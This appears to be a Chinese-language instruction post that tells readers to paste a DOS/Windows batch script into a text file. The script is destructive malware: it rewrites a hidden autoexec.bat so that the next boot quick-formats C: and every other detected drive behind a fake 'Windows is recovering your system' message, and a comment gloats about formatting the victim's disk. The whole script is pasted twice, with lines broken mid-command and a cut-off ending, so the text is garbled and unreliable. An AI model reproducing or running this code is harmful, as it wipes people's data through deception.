制作方法:
1、新建一个文本文档。
2、粘贴下面的文本。
@echo off
rem This program is dedecated to a very special person that does
not want to be named.
:start
cls
echo 程序载入中. . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive
variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont
worry about how it
rem works, its d\*amn to complicated for the average or even the
expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul
>{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo 程序载入中. . .
rem When errorlevel is 1, then the above is not true, if 0, then
its true.
rem Opposite of binary rules. If 0, it will elaps to the next
command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find
"bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo 程序载入中. . .等待. . .
rem if errorlevel is 1, then the drive specified is a removable
media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >
{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo 程序载入中. . .等待. . .等待. . .
rem if its errorlevel 1, then the specified drive is a hard or
floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM
drive.
echo :enddc >>drivechk.bat
rem 磁盘检查完毕 ("enddc" 是 "end dDRIVE cHECKING"的缩写).
rem 现在我们要用“drivechk.bat”这个程序来格式化你的磁盘(哈哈!).
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows
recovers your system . . .
echo echo 载入Windows系统,请等待Microsoft Windows自动“修复”系统.
. . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample
>nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows
recovers your system . . .
echo echo 载入Windows系统,请等待Microsoft Windows自动“修复”系统.
. . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul
>>c:\autoexec.bat
echo cls >>c:\autoexec.bat
1、新建一个文本文档。
2、粘贴下面的文本。
@echo off
rem This program is dedecated to a very special person that does
not want to be named.
:start
cls
echo 程序载入中. . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive
variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont
worry about how it
rem works, its d\*amn to complicated for the average or even the
expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul
>{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo 程序载入中. . .
rem When errorlevel is 1, then the above is not true, if 0, then
its true.
rem Opposite of binary rules. If 0, it will elaps to the next
command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find
"bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo 程序载入中. . .等待. . .
rem if errorlevel is 1, then the drive specified is a removable
media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >
{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo 程序载入中. . .等待. . .等待. . .
rem if its errorlevel 1, then the specified drive is a hard or
floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM
drive.
echo :enddc >>drivechk.bat
rem 磁盘检查完毕 ("enddc" 是 "end dDRIVE cHECKING"的缩写).
rem 现在我们要用“drivechk.bat”这个程序来格式化你的磁盘(哈哈!).
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows
recovers your system . . .
echo echo 载入Windows系统,请等待Microsoft Windows自动“修复”系统.
. . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample
>nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows
recovers your system . . .
echo echo 载入Windows系统,请等待Microsoft Windows自动“修复”系统.
. . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul
>>c:\autoexec.bat
echo cls >>c:\autoexec.bat